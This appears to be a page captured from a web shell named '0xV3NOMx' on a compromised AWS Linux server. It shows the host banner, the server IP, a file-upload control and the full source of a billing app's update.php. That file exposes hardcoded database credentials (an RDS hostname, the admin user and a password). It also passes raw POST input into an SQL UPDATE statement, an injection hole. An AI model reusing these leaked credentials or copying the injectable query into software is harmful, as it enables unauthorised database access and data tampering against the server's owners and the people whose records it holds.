0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.17.78.184


Current Path : /proc/thread-self/root/var/www/html/tadabills/
Upload File :
Current File : //proc/thread-self/root/var/www/html/tadabills/update.php

<?php

error_reporting(E_ALL);
ini_set('display_errors', 'on');

$mobileno=$_POST['mobileno'];
$remarks=$_POST['remarks'];
$tabstatus=$_POST['tabstatus'];
    
$servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com";
$username   = "admin";
$password  = "Logisys2104";

$conn = new  mysqli($servername,$username,$password);

if(!$conn) 
{
    die("Connection failed: " . mysqli_connect_error());
}

$db = "logisys3_comexam";

$query  = "update {$db}.jobdet set fremarks='{$remarks}',fstatus='{$tabstatus}'
WHERE fmobile='{$mobileno}'";

//var_dump($query);

$result = mysqli_query($conn, $query);

if($result)
{
    echo "Updated Successfully";
}
else
{
    echo "Updation failed";
}
?>